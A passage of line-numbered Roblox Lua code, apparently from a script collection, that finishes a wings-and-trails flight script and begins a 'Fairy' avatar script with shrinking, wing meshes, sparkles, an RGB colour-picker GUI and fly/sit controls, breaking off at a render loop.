  1502. LeftWing.DesiredAngle = -math.pi/2.5
  1503. RightWing.DesiredAngle = -math.pi/2.5
  1504. LightChangeSpeed = 0.04
  1505. JetActive = false
  1506. ActiveTrails = true
  1507. elseif diff < -60 then
  1508. LeftWing.DesiredAngle = -0.1
  1509. RightWing.DesiredAngle = -0.1
  1510. LightChangeSpeed = 0.04
  1511. JetActive = false
  1512. ActiveTrails = true
  1513. end
  1514. if idle == true then
  1515. LeftWing.DesiredAngle = -math.pi/2.2
  1516. RightWing.DesiredAngle = -math.pi/2.2
  1517. LightChangeSpeed = 0.09
  1518. JetActive = true
  1519. ActiveTrails = false
  1520. firespeed = 1
  1521. end
  1522. if diff < -40 and velo < 0 then
  1523. LeftWing.DesiredAngle = -0.3
  1524. RightWing.DesiredAngle = -0.3
  1525. LightChangeSpeed = 0.24
  1526. JetActive = true
  1527. ActiveTrails = true
  1528. firespeed = 1
  1529. elseif (diff < -22 and diff > -40) and velo < 0 then
  1530. LeftWing.DesiredAngle = -math.pi/2.5
  1531. RightWing.DesiredAngle = -math.pi/2.5
  1532. LightChangeSpeed = 0.09
  1533. JetActive = true
  1534. ActiveTrails = true
  1535. firespeed = 2
  1536. end
  1537. else
  1538. LeftWing.DesiredAngle = 0
  1539. RightWing.DesiredAngle = 0
  1540. JetActive = false
  1541. ActiveTrails = false
  1542. LightChangeSpeed = 0.02
  1543. end
  1544. -----------------------------------------
  1545.  
  1546. ------------------------ Trail lines ------------------------------
  1547. if num%2 == 0 then
  1548.  
  1549. if Flying == true and ActiveTrails == true then
  1550. if velo > 0 then
  1551. if velo < acceleration*7 then
  1552. Loldpos = nil
  1553. Roldpos = nil
  1554. end
  1555. elseif velo < 0 then
  1556. if velo > -acceleration*7 then
  1557. Loldpos = nil
  1558. Roldpos = nil
  1559. end
  1560. end
  1561.  
  1562. if Loldpos ~= nil then
  1563. local newpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1564. local t = LTrailParts[trailnum]
  1565. t.Parent = m
  1566. t.Anchored = true
  1567. t.BrickColor = BrickColor.new(wingcolor)
  1568. t.CFrame = CFrame.new((Loldpos+newpos)/2,Loldpos) * CFrame.Angles(math.pi/2,0,0)
  1569. local mesh = Instance.new("CylinderMesh", t)
  1570. mesh.Name = "Mesh"
  1571. mesh.Scale = Vector3.new(0.2,(Loldpos - newpos).magnitude*2,0.2)
  1572. end
  1573. if Roldpos ~= nil then
  1574. local newpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1575. local t = RTrailParts[trailnum]
  1576. t.Parent = m
  1577. t.Anchored = true
  1578. t.BrickColor = BrickColor.new(wingcolor)
  1579. t.CFrame = CFrame.new((Roldpos+newpos)/2,Roldpos) * CFrame.Angles(math.pi/2,0,0)
  1580. local mesh = Instance.new("CylinderMesh", t)
  1581. mesh.Name = "Mesh"
  1582. mesh.Scale = Vector3.new(0.2,(Roldpos - newpos).magnitude*2,0.2)
  1583. end
  1584. Loldpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1585. Roldpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1586.  
  1587. else
  1588. LTrailParts[trailnum].Parent = nil
  1589. RTrailParts[trailnum].Parent = nil
  1590. Loldpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1591. Roldpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1592. end
  1593.  
  1594. end
  1595.  
  1596. if trailnum == #LTrailParts-1 then
  1597. trailnum = 0
  1598. end
  1599.  
  1600. if num%800 == 0 then
  1601. for i, v in pairs(LTrailParts) do
  1602. game:service("Debris"):AddItem(v, 0.7)
  1603. end
  1604. for i, v in pairs(RTrailParts) do
  1605. game:service("Debris"):AddItem(v, 0.7)
  1606. end
  1607. LTrailParts = {}
  1608. for i = 1, 21 do
  1609. local p = P:Clone()
  1610. p.Name = "LTrailLine"
  1611. p.Anchored = true
  1612. p.BrickColor = BrickColor.new(wingcolor)
  1613. local mesh = Instance.new("CylinderMesh", p)
  1614. mesh.Name = "Mesh"
  1615. table.insert(LTrailParts, p)
  1616. end
  1617. RTrailParts = {}
  1618. for i = 1, 21 do
  1619. local p = P:Clone()
  1620. p.Name = "RTrailLine"
  1621. p.Anchored = true
  1622. p.BrickColor = BrickColor.new(wingcolor)
  1623. local mesh = Instance.new("CylinderMesh", p)
  1624. mesh.Name = "Mesh"
  1625. table.insert(RTrailParts, p)
  1626. end
  1627. end
  1628.  
  1629. ----------------------------------------------
  1630.  
  1631. lastflyaction = Flying
  1632. lastidleaction = idle
  1633. wait(0.03)
  1634. end
  1635. ]==]
  1636.  
  1637. Fairy = [==[
  1638. local plr = game:service'Players'.LocalPlayer
  1639. local m = plr:GetMouse()
  1640. local char = plr.Character
  1641. local runservice = game:service'RunService'
  1642. local modelScale = 1/5
  1643.  
  1644.  
  1645. pcall(function() local a = script.Parent.FaerieScript if a ~= script then a:Destroy() end end)
  1646. pcall(function() local a = char.Animate if a ~= script then a.Disabled = true a:Destroy() end end)
  1647. script.Name = "FaerieScript"
  1648.  
  1649. function weld(a,b,c,d)
  1650. local w = Instance.new("Weld",a)
  1651. w.Part0 = a
  1652. w.Part1 = b
  1653. w.C0 = c or CFrame.new()
  1654. w.C1 = d or CFrame.new()
  1655. return w
  1656. end
  1657.  
  1658. function lerp(a,b,c)
  1659. return a+(b-a)*c
  1660. end
  1661.  
  1662. do -- Ignore my clerp stuff stolen from stravvy
  1663. local function QuaternionFromCFrame(cf)
  1664. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1665. local trace = m00 + m11 + m22
  1666. if trace > 0 then
  1667. local s = math.sqrt(1 + trace)
  1668. local recip = 0.5/s
  1669. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1670. else
  1671. local i = 0
  1672. if m11 > m00 then
  1673. i = 1
  1674. end
  1675. if m22 > (i == 0 and m00 or m11) then
  1676. i = 2
  1677. end
  1678. if i == 0 then
  1679. local s = math.sqrt(m00-m11-m22+1)
  1680. local recip = 0.5/s
  1681. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1682. elseif i == 1 then
  1683. local s = math.sqrt(m11-m22-m00+1)
  1684. local recip = 0.5/s
  1685. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1686. elseif i == 2 then
  1687. local s = math.sqrt(m22-m00-m11+1)
  1688. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1689. end
  1690. end
  1691. end
  1692. local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1693. local xs, ys, zs = x + x, y + y, z + z
  1694. local wx, wy, wz = w*xs, w*ys, w*zs
  1695. local xx = x*xs
  1696. local xy = x*ys
  1697. local xz = x*zs
  1698. local yy = y*ys
  1699. local yz = y*zs
  1700. local zz = z*zs
  1701. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  1702. end
  1703. local function QuaternionSlerp(a, b, t)
  1704. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  1705. local startInterp, finishInterp;
  1706. if cosTheta >= 0.0001 then
  1707. if (1 - cosTheta) > 0.0001 then
  1708. local theta = math.acos(cosTheta)
  1709. local invSinTheta = 1/math.sin(theta)
  1710. startInterp = math.sin((1-t)*theta)*invSinTheta
  1711. finishInterp = math.sin(t*theta)*invSinTheta
  1712. else
  1713. startInterp = 1-t
  1714. finishInterp = t
  1715. end
  1716. else
  1717. if (1+cosTheta) > 0.0001 then
  1718. local theta = math.acos(-cosTheta)
  1719. local invSinTheta = 1/math.sin(theta)
  1720. startInterp = math.sin((t-1)*theta)*invSinTheta
  1721. finishInterp = math.sin(t*theta)*invSinTheta
  1722. else
  1723. startInterp = t-1
  1724. finishInterp = t
  1725. end
  1726. end
  1727. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  1728. end
  1729. function clerp(a,b,t)
  1730. local qa = {QuaternionFromCFrame(a)}
  1731. local qb = {QuaternionFromCFrame(b)}
  1732. local ax, ay, az = a.x, a.y, a.z
  1733. local bx, by, bz = b.x, b.y, b.z
  1734. local _t = 1-t
  1735. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1736. end
  1737. end
  1738.  
  1739. for i,v in pairs(char:GetChildren()) do
  1740. if v:IsA("Hat") or v:IsA("BodyColors") or v:IsA("Clothing") or v:IsA("ShirtGraphic") then
  1741. v:Destroy()
  1742. end
  1743. end
  1744. Instance.new("Hat",char)
  1745. local root = char.HumanoidRootPart
  1746. local tw = root.RootJoint
  1747. local tor = char.Torso
  1748. local hd = char.Head
  1749. local hum = char.Humanoid
  1750. hum.Health = 40
  1751. hum.MaxHealth = 40
  1752. hum.WalkSpeed = 12
  1753. local rl,ll = char["Right Leg"],char["Left Leg"]
  1754. local ra,la = char["Right Arm"],char["Left Arm"]
  1755.  
  1756. local c0 = {
  1757. rs = CFrame.new(1,.5,0),
  1758. ls = CFrame.new(-1,.5,0),
  1759. rh = CFrame.new(.5,-1,0),
  1760. lh = CFrame.new(-.5,-1,0),
  1761. nk = CFrame.new(0,1,0),
  1762. tw = CFrame.new(0,0,0)*CFrame.Angles(0,0,0),
  1763. }
  1764. local c1 = {
  1765. rs = CFrame.new(-.5,.5,0),
  1766. ls = CFrame.new(.5,.5,0),
  1767. rh = CFrame.new(0,1,0),
  1768. lh = CFrame.new(0,1,0),
  1769. nk = CFrame.new(0,-.5,0),
  1770. tw = CFrame.new(0,0,0)*CFrame.Angles(0,0,0)
  1771. }
  1772.  
  1773. local rs = tor["Right Shoulder"]
  1774. local ls = tor["Left Shoulder"]
  1775. local rh = tor["Right Hip"]
  1776. local lh = tor["Left Hip"]
  1777. local nk = tor["Neck"]
  1778. for i,v in pairs(tor:GetChildren()) do
  1779. if v:IsA("Motor6D") then
  1780. v.DesiredAngle = 0
  1781. v.MaxVelocity = 0
  1782. v.CurrentAngle = 0
  1783. end
  1784. end
  1785.  
  1786.  
  1787.  
  1788.  
  1789. pcall(function() tor.roblox:Destroy() end)
  1790.  
  1791. pcall(function() char.Faerie:Destroy() end)
  1792. local model = Instance.new("Model",char)
  1793. model.Name = "Faerie"
  1794.  
  1795. local BasePart = Instance.new("Part")
  1796. BasePart.CanCollide = false
  1797. BasePart.Anchored = false
  1798. BasePart.FormFactor = "Custom"
  1799. BasePart.Locked = true
  1800. BasePart.Size = Vector3.new()
  1801. BasePart.TopSurface,BasePart.BottomSurface,BasePart.LeftSurface,BasePart.RightSurface,BasePart.FrontSurface,BasePart.BackSurface = 10,10,10,10,10,10
  1802. BasePart:BreakJoints()
  1803.  
  1804. function NP(par)
  1805. local p = BasePart:Clone()
  1806. p.Parent = par or model
  1807. return p
  1808. end
  1809.  
  1810. local w1 = NP()
  1811. w1.Transparency = .1
  1812. local w1m = Instance.new("SpecialMesh",w1)
  1813. w1m.MeshId = "rbxassetid://19367766"
  1814. w1m.TextureId = "rbxassetid://9854798"
  1815. w1m.Scale = Vector3.new(1.05, 1.05, 1.05)
  1816. local w1 = weld(tor,w1,CFrame.new(-.1,0.55,1.6))
  1817.  
  1818. local w2 = NP()
  1819. w2.Transparency = .1
  1820. local w2m = Instance.new("SpecialMesh",w2)
  1821. w2m.MeshId = "rbxassetid://19367766"
  1822. w2m.TextureId = "rbxassetid://9854798"
  1823. w2m.Scale = Vector3.new(1.05, 1.05, 1.05)
  1824. local w2 = weld(tor,w2,CFrame.new(.1,0.55,1.6))
  1825.  
  1826. local h = NP()
  1827. local hm = Instance.new("SpecialMesh",h)
  1828. hm.MeshId = "rbxassetid://154820214"
  1829. hm.TextureId = "rbxassetid://91740209"
  1830. hm.Scale = Vector3.new(1, 1, 1)
  1831. weld(hd,h,CFrame.new(0,0.2,0))
  1832.  
  1833. for i,v in pairs(char:GetChildren()) do
  1834. if v:IsA("BasePart") then
  1835. v.Material = "SmoothPlastic"
  1836. v.TopSurface,v.BottomSurface,v.FrontSurface,v.BackSurface,v.LeftSurface,v.RightSurface = 10,10,10,10,10,10
  1837. end
  1838. end
  1839.  
  1840. do
  1841. if modelScale ~= 1 then
  1842. for i,v in pairs(c0) do
  1843. c0[i] = (v-v.p) + v.p*modelScale
  1844. end
  1845. for i,v in pairs(c1) do
  1846. c1[i] = (v-v.p) + v.p*modelScale
  1847. end
  1848. local Joints = {}
  1849. local gtJoints,gtParts;
  1850.  
  1851. local function gtCFrame(cf)
  1852. return (cf-cf.p) + cf.p * modelScale
  1853. end
  1854.  
  1855. function gtJoints(p)
  1856. for i,v in pairs(p:GetChildren()) do
  1857. if v:IsA("JointInstance") then
  1858. table.insert(Joints,{v,v.Part0,v.Part1})
  1859. v.Part0 = nil
  1860. v.Part1 = nil
  1861. v.C0 = (v.C0-(v.C0.p)) + (v.C0.p * modelScale)
  1862. v.C1 = (v.C1-(v.C1.p)) + (v.C1.p * modelScale)
  1863. end
  1864. gtJoints(v)
  1865. end
  1866. end
  1867.  
  1868. function gtParts(p)
  1869. for i,v in pairs(p:GetChildren()) do
  1870. if v:IsA("BasePart") then
  1871. pcall(function() v.FormFactor = "Custom" end)
  1872. local oldz = v.Size
  1873. local cf = tor.CFrame:toObjectSpace(v.CFrame)
  1874. v.Size = v.Size * modelScale
  1875. v.CFrame = tor.CFrame * gtCFrame(cf)
  1876. local mesh = nil
  1877. for i,t in pairs(v:GetChildren()) do
  1878. if t:IsA("DataModelMesh") then
  1879. mesh = t
  1880. end
  1881. end
  1882. if mesh == nil and v:IsA("Part") and v.Shape == Enum.PartType.Ball then
  1883. mesh = Instance.new("SpecialMesh",v)
  1884. mesh.MeshType = Enum.MeshType.Sphere
  1885. end
  1886. if mesh == nil and ((v:IsA("Part") and v.Shape == Enum.PartType.Block) or v:IsA("Seat") or v:IsA("VehicleSeat")) then
  1887. mesh = Instance.new("BlockMesh",v)
  1888. end
  1889. if mesh ~= nil then
  1890. if mesh:IsA("SpecialMesh") and mesh.MeshType == Enum.MeshType.FileMesh then
  1891. mesh.Scale = mesh.Scale * modelScale
  1892. else
  1893. mesh.Scale = mesh.Scale*(oldz*modelScale)/v.Size
  1894. end
  1895. end
  1896. end
  1897. gtParts(v)
  1898. end
  1899. end
  1900. gtJoints(char)
  1901. gtParts(char)
  1902. for i,v in pairs(Joints) do
  1903. v[1].Part0 = v[2]
  1904. v[1].Part1 = v[3]
  1905. end
  1906. end
  1907. end
  1908. rs.C0,rs.C1 = c0.rs,c1.rs
  1909. ls.C0,ls.C1 = c0.ls,c1.ls
  1910. rh.C0,rh.C1 = c0.rh,c1.rh
  1911. lh.C0,lh.C1 = c0.lh,c1.lh
  1912. nk.C0,nk.C1 = c0.nk,c1.nk
  1913. tw.C0,tw.C1 = c0.tw,c1.tw
  1914.  
  1915. local w10,w20 = w1.C0,w2.C0
  1916.  
  1917. local pl = tor:FindFirstChild("FairyLight") or Instance.new("PointLight",tor)
  1918. pl.Name = "FairyLight"
  1919. pl.Shadows = false
  1920. pl.Range = 8
  1921. pl.Brightness = 10
  1922.  
  1923. local sparkles = tor:FindFirstChild("FairySparkles") or Instance.new("Sparkles",tor)
  1924. sparkles.Name = "FairySparkles"
  1925.  
  1926.  
  1927. local outfit = 0
  1928. local outfitparts = {ra,la,rl,ll,tor}
  1929. local outfits = {
  1930. {{106705109},{106705077},{106703301},{106703213},{106705037}}
  1931. }
  1932.  
  1933.  
  1934. local mycolor = ll.BrickColor.Color
  1935. local mycolor2 = mycolor
  1936.  
  1937. function setOutfit()
  1938. local of = outfits[outfit]
  1939. if of then
  1940. for i,v in pairs(outfitparts) do
  1941. local mesh = v:FindFirstChild("outfitMesh")
  1942. local meshdata = outfits[outfit][i]
  1943. if not mesh then
  1944. mesh = Instance.new("SpecialMesh",v)
  1945. mesh.Name = "outfitMesh"
  1946. mesh.TextureId = "rbxassetid://9854798"
  1947. end
  1948. mesh.Scale =(meshdata[2] or Vector3.new(1,1,1)) * modelScale
  1949. mesh.MeshId = "rbxassetid://"..meshdata[1]
  1950. mesh.VertexColor = Vector3.new(mycolor2.r,mycolor2.g,mycolor2.b)
  1951. end
  1952. else
  1953. for i,v in pairs(outfitparts) do
  1954. pcall(function() v.outfitMesh:Destroy() end)
  1955. end
  1956. end
  1957. end
  1958. setOutfit()
  1959.  
  1960. local senabled = true
  1961. local lenabled = true
  1962. function changeColor()
  1963. for i,v in pairs(char:GetChildren()) do
  1964. if v:IsA("BasePart") then
  1965. v.BrickColor = BrickColor.new(mycolor)
  1966. end
  1967. end
  1968. local mc1 = Vector3.new(mycolor.r,mycolor.g,mycolor.b)
  1969. local mc2 = Vector3.new(mycolor2.r,mycolor2.g,mycolor2.b)
  1970. w1m.VertexColor,w2m.VertexColor,hm.VertexColor = mc1,mc1,mc2
  1971. for i,v in pairs(outfitparts) do
  1972. local mesh = v:FindFirstChild("outfitMesh")
  1973. if mesh then
  1974. mesh.VertexColor = mc2
  1975. end
  1976. end
  1977. pl.Color = mycolor
  1978. sparkles.SparkleColor = mycolor
  1979. end
  1980. changeColor()
  1981.  
  1982. do
  1983. pcall(function() plr.PlayerGui.fairyColoring:Destroy() end)
  1984. local scr = Instance.new("ScreenGui",plr.PlayerGui)
  1985. scr.Name = "fairyColoring"
  1986. local fr = Instance.new("Frame",scr)
  1987. fr.Size = UDim2.new(0,-150,0,-65)
  1988. fr.BackgroundColor3 = Color3.new(1,1,1)
  1989. fr.BorderColor3 = Color3.new(.05,.05,.05)
  1990. fr.BackgroundTransparency = .8
  1991. fr.Position = UDim2.new(1,0,1,scr.Parent:FindFirstChild("PandaHelpNotify") and -20 or 0)
  1992. fr.ZIndex = 9
  1993. local am = 75
  1994. local rval,gval,bval = mycolor.r,mycolor.g,mycolor.b
  1995. local r = Instance.new("TextButton",fr)
  1996. r.BackgroundTransparency = 1
  1997. r.Size = UDim2.new(0,75,0,15)
  1998. r.Position = UDim2.new(0,5,0,5)
  1999. r.TextColor3 = Color3.new(1,1,1)
  2000. r.TextStrokeTransparency = .4
  2001. for i=1,am do
  2002. local t = Instance.new("ImageLabel",r)
  2003. t.BorderSizePixel = 0
  2004. t.Size = UDim2.new(1/am,0,1,0)
  2005. t.Position = UDim2.new((i-1)/am,0,0,0)
  2006. t.Name = i
  2007. t.ZIndex = 10
  2008. end
  2009. local rb = Instance.new("ImageLabel",r)
  2010. rb.ZIndex = 10
  2011. rb.Size = UDim2.new(0,2,1,-2)
  2012. rb.BackgroundColor3 = Color3.new(0,0,0)
  2013. rb.BackgroundTransparency = .5
  2014. rb.BorderColor3 = Color3.new(.4,.4,.4)
  2015. rb.Name = "b"
  2016. local g = r:Clone()
  2017. g.Parent = fr
  2018. g.Position = UDim2.new(0,5,0,25)
  2019. local b = r:Clone()
  2020. b.Parent = fr
  2021. b.Position = UDim2.new(0,5,0,45)
  2022. r.ZIndex,g.ZIndex,b.ZIndex = 10,10,10
  2023. local prev = Instance.new("TextButton",fr)
  2024. prev.Size = UDim2.new(0,55,0,45)
  2025. prev.Position = UDim2.new(0,90,0,5)
  2026. prev.ZIndex = 10
  2027. prev.BorderColor3 = Color3.new(.2,.2,.2)
  2028. prev.TextColor3 = Color3.new(1,1,1)
  2029. prev.TextStrokeTransparency = .4
  2030. prev.TextYAlignment = "Bottom"
  2031. prev.FontSize = "Size8"
  2032. prev.TextWrapped = true
  2033. local res = Instance.new("TextButton",fr)
  2034. res.Size = UDim2.new(0,55,0,9)
  2035. res.Position = UDim2.new(0,90,0,51)
  2036. res.ZIndex = 10
  2037. res.BorderColor3 = Color3.new(.2,.2,.2)
  2038. res.BackgroundColor3 = Color3.new(.5,0,0)
  2039. res.TextColor3 = Color3.new(1,1,1)
  2040. res.Text = "reset"
  2041. res.FontSize = "Size8"
  2042. local mode = 0
  2043. local function update(set)
  2044. r.b.Position = UDim2.new(rval,-1,0,1)
  2045. g.b.Position = UDim2.new(gval,-1,0,1)
  2046. b.b.Position = UDim2.new(bval,-1,0,1)
  2047. local col = Color3.new(rval,gval,bval)
  2048. prev.BackgroundColor3 = mode == 1 and mycolor2 or mycolor
  2049. prev.Text = ""
  2050. r.Text = math.floor(rval*255+.5)
  2051. g.Text = math.floor(gval*255+.5)
  2052. b.Text = math.floor(bval*255+.5)
  2053. for i,v in pairs(r:GetChildren()) do
  2054. local n = tonumber(v.Name)
  2055. if n then
  2056. local sc = n/am
  2057. v.BackgroundColor3 = Color3.new(sc,gval,bval)
  2058. end
  2059. end
  2060. for i,v in pairs(g:GetChildren()) do
  2061. local n = tonumber(v.Name)
  2062. if n then
  2063. local sc = n/am
  2064. v.BackgroundColor3 = Color3.new(rval,sc,bval)
  2065. end
  2066. end
  2067. for i,v in pairs(b:GetChildren()) do
  2068. local n = tonumber(v.Name)
  2069. if n then
  2070. local sc = n/am
  2071. v.BackgroundColor3 = Color3.new(rval,gval,sc)
  2072. end
  2073. end
  2074. if set ~= false then
  2075. if mode == 0 then
  2076. mycolor = col
  2077. end
  2078. if mode == 1 then
  2079. mycolor2 = col
  2080. end
  2081. changeColor()
  2082. end
  2083. end
  2084. update()
  2085. local rd,gd,bd = false,false,false
  2086. r.MouseButton1Down:connect(function(x,y) rd = true rval = (x-r.AbsolutePosition.X)/r.AbsoluteSize.X update() end)
  2087. r.MouseButton1Up:connect(function() rd = false end)
  2088. r.MouseLeave:connect(function() rd = false end)
  2089. r.MouseMoved:connect(function(x,y) if not rd then return end rval = (x-r.AbsolutePosition.X)/r.AbsoluteSize.X update() end)
  2090. g.MouseButton1Down:connect(function(x,y) gd = true gval = (x-g.AbsolutePosition.X)/g.AbsoluteSize.X update() end)
  2091. g.MouseButton1Up:connect(function() gd = false end)
  2092. g.MouseLeave:connect(function() gd = false end)
  2093. g.MouseMoved:connect(function(x,y) if not gd then return end gval = (x-g.AbsolutePosition.X)/g.AbsoluteSize.X update() end)
  2094. b.MouseButton1Down:connect(function(x,y) bd = true bval = (x-b.AbsolutePosition.X)/b.AbsoluteSize.X update() end)
  2095. b.MouseButton1Up:connect(function() bd = false end)
  2096. b.MouseLeave:connect(function() bd = false end)
  2097. b.MouseMoved:connect(function(x,y) if not bd then return end bval = (x-b.AbsolutePosition.X)/b.AbsoluteSize.X update() end)
  2098. res.MouseButton1Click:connect(function()
  2099. rval,gval,bval = themeColor.Color.r,themeColor.Color.g,themeColor.Color.b
  2100. update()
  2101. end)
  2102.  
  2103. local modebtn = Instance.new("TextButton",fr)
  2104. modebtn.Position = UDim2.new(1,-150,0,-15)
  2105. modebtn.Size = UDim2.new(0,49,0,14)
  2106. modebtn.BackgroundColor3 = Color3.new(1,1,0)
  2107. modebtn.BackgroundTransparency = .6
  2108. modebtn.TextScaled = true
  2109. modebtn.Font = 4
  2110. modebtn.TextColor3 = Color3.new(1,1,1)
  2111. modebtn.TextStrokeTransparency = .7
  2112. modebtn.Text = "Body"
  2113. modebtn.MouseButton1Click:connect(function()
  2114. mode = (mode+1)%2
  2115. local col = mode == 1 and mycolor2 or mycolor
  2116. rval,gval,bval = col.r,col.g,col.b
  2117. modebtn.Text = mode == 0 and "Body" or "Clothes"
  2118. update(false)
  2119. end)
  2120.  
  2121. local outfitbtn = Instance.new("TextButton",fr)
  2122. outfitbtn.Position = UDim2.new(1,-150,0,-30)
  2123. outfitbtn.Size = UDim2.new(0,49,0,14)
  2124. outfitbtn.BackgroundColor3 = Color3.new(1,1,0)
  2125. outfitbtn.BackgroundTransparency = .6
  2126. outfitbtn.TextScaled = true
  2127. outfitbtn.Font = 4
  2128. outfitbtn.TextColor3 = Color3.new(1,1,1)
  2129. outfitbtn.TextStrokeTransparency = .7
  2130. outfitbtn.Text = "Outfit"
  2131. outfitbtn.MouseButton1Click:connect(function()
  2132. outfit = (outfit+1)%(#outfits+1)
  2133. setOutfit()
  2134. end)
  2135.  
  2136. local sparklebtn = Instance.new("TextButton",fr)
  2137. sparklebtn.Position = UDim2.new(1,-100,0,-15)
  2138. sparklebtn.Size = UDim2.new(0,100,0,14)
  2139. sparklebtn.BackgroundColor3 = Color3.new(0,1,0)
  2140. sparklebtn.BackgroundTransparency = .6
  2141. sparklebtn.TextScaled = true
  2142. sparklebtn.Font = 4
  2143. sparklebtn.TextColor3 = Color3.new(1,1,1)
  2144. sparklebtn.TextStrokeTransparency = .7
  2145. sparklebtn.Text = "Sparkles"
  2146. sparklebtn.MouseButton1Click:connect(function()
  2147. senabled = not senabled
  2148. sparklebtn.BackgroundColor3 = senabled and Color3.new(0,1,0) or Color3.new(1,0,0)
  2149. end)
  2150. local lightbtn = Instance.new("TextButton",fr)
  2151. lightbtn.Position = UDim2.new(1,-100,0,-30)
  2152. lightbtn.Size = UDim2.new(0,100,0,14)
  2153. lightbtn.BackgroundColor3 = Color3.new(0,1,0)
  2154. lightbtn.BackgroundTransparency = .6
  2155. lightbtn.TextScaled = true
  2156. lightbtn.Font = 4
  2157. lightbtn.TextColor3 = Color3.new(1,1,1)
  2158. lightbtn.TextStrokeTransparency = .7
  2159. lightbtn.Text = "Light"
  2160. lightbtn.MouseButton1Click:connect(function()
  2161. lenabled = not lenabled
  2162. lightbtn.BackgroundColor3 = lenabled and Color3.new(0,1,0) or Color3.new(1,0,0)
  2163. end)
  2164. end
  2165.  
  2166.  
  2167. local gyro = root:FindFirstChild("RootGyro") or Instance.new("BodyGyro",root)
  2168. gyro.maxTorque = Vector3.new()
  2169. gyro.Name = "RootGyro"
  2170.  
  2171. local vel = root:FindFirstChild("RootVel") or Instance.new("BodyVelocity",root)
  2172. vel.maxForce = Vector3.new()
  2173. vel.Name = "RootVel"
  2174. vel.P = 4000
  2175.  
  2176. local flying = false
  2177. local state = "idle"
  2178. local kd = {}
  2179. local humspd = 0
  2180. local flyspeed = 0
  2181. local flystop = 0
  2182. local sitting = false
  2183. local holding = false
  2184.  
  2185. m.KeyDown:connect(function(k)
  2186. local now = tick()
  2187. kd[k] = now
  2188. if k == " " and not flying then
  2189. pcall(function() sitting:Destroy() end)
  2190. sitting = nil
  2191. state = "fly"
  2192. flying = true
  2193. flydir = (root.CFrame.lookVector*Vector3.new(1,0,1)).unit
  2194. elseif k == " " and state == "fly" then
  2195. flying = false
  2196. state = "idle"
  2197. flystop = tick()
  2198. elseif k == "x" and m.Target and (root.Position-m.Hit.p).magnitude < 20*modelScale then
  2199. local tar = m.Target
  2200. local cf = tar.CFrame:toObjectSpace(m.Hit)
  2201. local siz = tar.Size/2
  2202. local cfr
  2203. local rx,ry,rz = 0,0,0
  2204. local lv = tar.CFrame:vectorToObjectSpace(root.CFrame.lookVector)
  2205. if math.abs(cf.Y-siz.Y) < .03 then
  2206. cfr = CFrame.new(cf.p + Vector3.new(0,3*modelScale,0)) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2207. elseif math.abs(-cf.Y-siz.Y) < .03 then
  2208. cfr = CFrame.new(cf.p - Vector3.new(0,3*modelScale,0)) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),math.pi)
  2209. elseif math.abs(cf.X-siz.X) < .03 then
  2210. cfr = CFrame.new(cf.p + Vector3.new(3*modelScale,0,0)) * CFrame.Angles(0,0,-math.pi/2) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2211. elseif math.abs(-cf.X-siz.X) < .03 then
  2212. cfr = CFrame.new(cf.p - Vector3.new(3*modelScale,0,0)) * CFrame.Angles(0,0,math.pi/2) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2213. elseif math.abs(cf.Z-siz.Z) < .03 then
  2214. cfr = CFrame.new(cf.p + Vector3.new(0,0,3*modelScale)) * CFrame.Angles(math.pi/2,0,0) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2215. elseif math.abs(-cf.Z-siz.Z) < .03 then
  2216. cfr = CFrame.new(cf.p - Vector3.new(0,0,3*modelScale)) * CFrame.Angles(-math.pi/2,0,0) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
  2217. end
  2218. if cfr then
  2219. pcall(function() sitting:Destroy() end)
  2220. flying = false
  2221. state = "sit"
  2222. if m.Target.Anchored then
  2223. sitting = {tar = tar, cf = cfr}
  2224. else
  2225. sitting = weld(tar,root,cfr)
  2226. end
  2227. end
  2228. end
  2229. end)
  2230. m.KeyUp:connect(function(k)
  2231. kd[k] = nil
  2232. end)
  2233.  
  2234. hum.Running:connect(function(spd)
  2235. if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
  2236. humspd = spd
  2237. state = flying and "fly" or (spd < 1 and "idle" or "walk")
  2238. end)
  2239. hum.Climbing:connect(function(spd)
  2240. if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
  2241. humspd = spd
  2242. state = flying and "fly" or (spd < 1 and "idle" or "walk")
  2243. end)
  2244. hum.Seated:connect(function(a)
  2245. state = a and "sit" or humspd > 0 and "idle" or "walk"
  2246. end)
  2247.  
  2248. hum.Changed:connect(function()
  2249. if hum.Jump then
  2250. hum.Jump = false
  2251. end
  2252. end)
  2253.  
  2254. hum.FreeFalling:connect(function()
  2255. if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
  2256. state = math.abs(tor.Velocity.Y) > 1 and "inair" or state
  2257. end)
  2258.  
  2259. hum.FallingDown:connect(function(a)
  2260. if not a then return end
  2261. state = "inair"
  2262. end)
  2263.  
  2264.  
  2265.  
  2266. while true do
  2267. runservice.RenderStepped:wait()
